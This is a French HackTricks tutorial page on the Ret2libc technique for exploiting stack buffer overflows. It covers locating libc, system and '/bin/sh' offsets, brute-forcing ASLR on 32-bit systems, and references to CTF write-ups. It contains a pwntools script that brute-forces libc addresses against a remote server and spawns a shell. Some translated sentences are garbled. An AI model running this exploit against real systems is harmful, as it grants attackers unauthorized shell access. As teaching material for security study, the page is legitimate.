Ret2lib
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
L'essence de Ret2Libc est de rediriger le flux d'exécution d'un programme vulnérable vers une fonction d'une bibliothèque partagée (par exemple, system, execve, strcpy) au lieu d'exécuter du shellcode fourni par l'attaquant sur la pile. L'attaquant crée un payload qui modifie l'adresse de retour sur la pile pour pointer vers la fonction de bibliothèque souhaitée, tout en s'assurant que tous les arguments nécessaires soient correctement configurés selon la convention d'appel.
Étapes d'exemple (simplifiées)
- Obtenez l'adresse de la fonction à appeler (par exemple, system) et la commande à appeler (par exemple, /bin/sh)
- Générez une chaîne ROP pour passer le premier argument pointant vers la chaîne de commande et le flux d'exécution vers la fonction
Trouver les adresses
- Supposons que la
libc
utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec :
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire :
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction
system
avec :
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la chaîne
/bin/sh
avec :
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Utilisation de gdb-peda / GEF
En connaissant la libc utilisée, il est également possible d'utiliser Peda ou GEF pour obtenir l'adresse de la fonction system, de la fonction exit et de la chaîne /bin/sh
:
p system
p exit
find "/bin/sh"
Utilisation de /proc/<PID>/maps
Si le processus crée des enfants chaque fois que vous communiquez avec lui (serveur réseau), essayez de lire ce fichier (vous aurez probablement besoin d'être root).
Ici, vous pouvez trouver exactement où la libc est chargée à l'intérieur du processus et où elle va être chargée pour chaque enfant du processus.
Dans ce cas, elle est chargée à 0xb75dc000 (Ceci sera l'adresse de base de la libc)
Libc inconnue
Il se peut que vous ne connaissiez pas la libc que le binaire charge (car elle pourrait être située sur un serveur auquel vous n'avez pas accès). Dans ce cas, vous pourriez abuser de la vulnérabilité pour fuir certaines adresses et trouver quelle bibliothèque libc est utilisée :
Et vous pouvez trouver un modèle pwntools pour cela dans :
Connaître la libc avec 2 décalages
Vérifiez la page https://libc.blukat.me/ et utilisez quelques adresses de fonctions à l'intérieur de la libc pour découvrir la version utilisée.
Contournement de l'ASLR en 32 bits
Ces attaques par force brute sont uniquement utiles pour les systèmes 32 bits.
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de la libc (utile pour les systèmes 32 bits) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si vous attaquez un serveur distant, vous pourriez essayer de forcer l'adresse de la fonction
libc
usleep
, en passant comme argument 10 (par exemple). Si à un moment donné le serveur met 10s de plus à répondre, vous avez trouvé l'adresse de cette fonction.
One Gadget
Exécutez un shell en sautant simplement à une adresse spécifique dans libc :
Exemple de code x86 Ret2lib
Dans cet exemple, le brute-force ASLR est intégré dans le code et le binaire vulnérable est situé sur un serveur distant :
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Example
Vérifiez l'exemple depuis :
ROP - Return Oriented Programing
ARM64 Ret2lib Example
Dans le cas de l'ARM64, l'instruction ret saute à l'endroit où le registre x30 pointe et non à l'endroit où le registre de pile pointe. Donc c'est un peu plus compliqué.
Aussi, dans l'ARM64, une instruction fait ce que l'instruction fait (il n'est pas possible de sauter au milieu des instructions et de les transformer en nouvelles).
Vérifiez l'exemple depuis :
Ret-into-printf (ou puts)
Cela permet de fuiter des informations du processus en appelant printf
/puts
avec des données spécifiques placées comme argument. Par exemple, mettre l'adresse de puts
dans le GOT dans une exécution de puts
va fuiter l'adresse de puts
en mémoire.
Ret2printf
Cela signifie essentiellement abuser d'un Ret2lib pour le transformer en une vulnérabilité de chaînes de format printf
en utilisant le ret2lib
pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) :
Other Examples & references
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, donné une fuite vers l'adresse d'une fonction dans libc, utilisant un gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuiter. Avec le canary, un gadget ROP est créé pour appeler puts afin de fuir l'adresse de puts depuis le GOT et un gadget ROP pour appeler
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de fuir l'adresse de puts depuis le GOT puis appeler un gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, pas de pie, pas de canary, pas de relro, nx. Utilise la fonction write pour fuir l'adresse de write (libc) et appelle un gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Utilise une chaîne de format pour fuir le canary de la pile et un débordement de tampon pour appeler system (c'est dans le GOT) avec l'adresse de
/bin/sh
. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bits, pas de relro, pas de canary, nx, pie. Abuse d'un mauvais indexage pour fuir les adresses de libc et de heap depuis la pile. Abuse du débordement de tampon pour faire un ret2lib appelant
system('/bin/sh')
(l'adresse de heap est nécessaire pour contourner une vérification).
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.